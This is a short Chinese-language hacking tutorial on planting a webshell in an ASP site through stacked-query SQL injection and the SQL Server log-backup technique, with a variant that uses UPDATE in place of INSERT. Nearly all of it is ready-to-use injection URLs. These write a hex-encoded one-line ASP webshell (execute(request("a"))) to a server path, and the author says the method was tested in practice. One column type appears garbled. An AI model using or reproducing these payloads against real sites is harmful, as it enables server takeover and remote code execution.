另類差異備份(無建表)
現在我們大部分同誌備份拿WEBSHELL都是使用工具,下 面來看看我們經常使用的方法 
第 壹 步: 
/news.asp?id=1;create table [dbo].[shit_tmp] ([cmd] [p_w_picpath])-- 
第 二 步 
/news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate-- 
第 三 步 
/news.asp?id=1;insert into [shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)-- 
第 四 步 
/news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x64003A005C003100320033002E00610073007000 backup log @a to disk=@s with init,no_truncate-- 
第 五 步 
/news.asp?id=1;Drop table [shit_tmp]-- 
第壹步建表,第二步備份之前的數據,相當於下壹個斷點,第三步插入數據,第四步再次差異備 份,得到WEBSHELL第五步,刪除表 
先來分析壹下這種方法,差異備份其實備份的並不是數據,而是備份對表操作的SQL語句,比方 說上面這個方法他備分得到的小馬來源並不是來源於數據,而是來源於第三步的語句,第三步中呢重點又在於後面的小馬,並不在於方法,所以我也就想到了在利用 UPDATE來代替INSERT 
得用update的好處在於省略了第壹步和第五步,壞處在於,妳需要找壹張表來代替新建的 表, 
第 壹 步 
/news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate-- 
第 二 步 
/news.asp?id=1;update tablename set col1=(0x3C25657865637574652872657175657374282261222929253E) where id=1-- 
第 三 步 
/news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x64003A005C003100320033002E00610073007000 backup log @a to disk=@s with init,no_truncate-- 
得用update在實際情況中測試已經通過